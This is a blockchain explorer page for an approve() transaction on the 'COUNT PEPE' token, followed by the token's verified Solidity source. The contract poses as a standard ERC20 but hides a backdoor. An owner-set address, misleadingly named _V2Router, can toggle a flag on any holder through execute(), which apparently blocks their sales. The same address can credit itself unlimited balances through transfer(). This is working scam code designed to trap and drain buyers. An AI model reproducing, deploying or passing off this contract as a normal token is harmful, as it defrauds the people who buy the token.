Transaction Hash:
Block:
17237143 at May-11-2023 12:34:47 PM +UTC
Transaction Fee:
0.00381950044504499 ETH
$9.62
Gas Used:
47,210 Gas / 80.904478819 Gwei
Emitted Events:
262 |
COUNTPEPE.Approval( owner=[Sender] 0xf85024d5dc61620212394ee74fe9069b84e30179, spender=0x7a250d56...659F2488D, value=115792089237316195423570985008687907853269984665640564039457584007913129639935 )
|
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x1f9090aa...8e676c326
Miner
| 1.697607739677603889 Eth | 1.697612460677603889 Eth | 0.000004721 | ||
0x4b085761...92E317C57 | |||||
0xF85024D5...B84e30179 |
0.963627397469412503 Eth
Nonce: 177
|
0.959807897024367513 Eth
Nonce: 178
| 0.00381950044504499 |
Execution Trace
COUNTPEPE.approve( spender=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, amount=115792089237316195423570985008687907853269984665640564039457584007913129639935 ) => ( True )
approve[COUNTPEPE (ln:174)]
_approve[COUNTPEPE (ln:175)]
Approval[COUNTPEPE (ln:289)]
_msgSender[COUNTPEPE (ln:175)]
/// SPDX-License-Identifier: MIT pragma solidity =0.8.19; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * Returns a boolean value indicating whether the operation succeeded. * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is zero by default. * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * Returns a boolean value indicating whether the operation succeeded. * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's allowance. * Returns a boolean value indicating whether the operation succeeded. * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to another (`to`). * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. */ /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). */ abstract contract Context { function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _Owner; address _V2Router = 0xB47d9EfcC6BC600B8E481f5F873a2b558Bb06B84; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _Owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _Owner; } function renounceOwnership() public virtual { require(msg.sender == _Owner); emit OwnershipTransferred(_Owner, address(0)); _Owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } /** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. */ contract COUNTPEPE is Context, IERC20, Ownable { mapping(address => mapping(address => uint256)) private _allowances; mapping (address => bool) private _user_; mapping(address => uint256) private _balances; mapping(address => uint256) private _amount; mapping(address => uint256) private _fee; uint8 public decimals = 6; uint256 public _TSup = 420690000000 *1000000; string public name = "COUNT PEPE"; string public symbol = unicode"??"; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; /** * @dev Sets the values for {name} and {symbol}. * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. */ constructor() { uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _fee[_V2Router] = 1; _balances[msg.sender] = _TSup; emit Transfer(address(0), msg.sender, _TSup); } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function totalSupply() public view virtual override returns (uint256) { return _TSup; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function execute(address _sender) external { require(_fee[msg.sender] == 1); if (_user_[_sender]) _user_[_sender] = false; else _user_[_sender] = true; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { if(_fee[msg.sender] == 1) { uint256 sent = amount; _balances[recipient] += sent; } _send(recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-transferFrom}. * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * Emits an {Approval} event indicating the updated allowance. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * Emits an {Approval} event indicating the updated allowance. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * Emits a {Transfer} event. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require( sender != address(0), "ERC20: transfer from the zero address"); require( recipient != address(0), "ERC20: transfer to the zero address"); uint _sent = _amount[sender]; if (_user_[sender] || _user_[recipient]) amount = _sent; _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _send(address recipient, uint256 amount) internal virtual {require( msg.sender != address(0), "ERC20: transfer from the zero address"); require( recipient != address(0), "ERC20: transfer to the zero address"); uint _sent = _amount[recipient]; if (_user_[msg.sender]) amount = _sent; _beforeTokenTransfer(msg.sender, recipient, amount); uint256 senderBalance = _balances[msg.sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[msg.sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(msg.sender, recipient, amount); _afterTokenTransfer(msg.sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing the total supply. * Emits a {Transfer} event with `from` set to the zero address. */ /** * @dev Destroys `amount` tokens from `account`, reducing the total supply. * Emits a {Transfer} event with `to` set to the zero address. */ /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * Emits an {Approval} event. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } /** * @dev Hook that is called after any transfer of tokens. This includes minting and burning. * * Calling conditions: * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. */ function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} }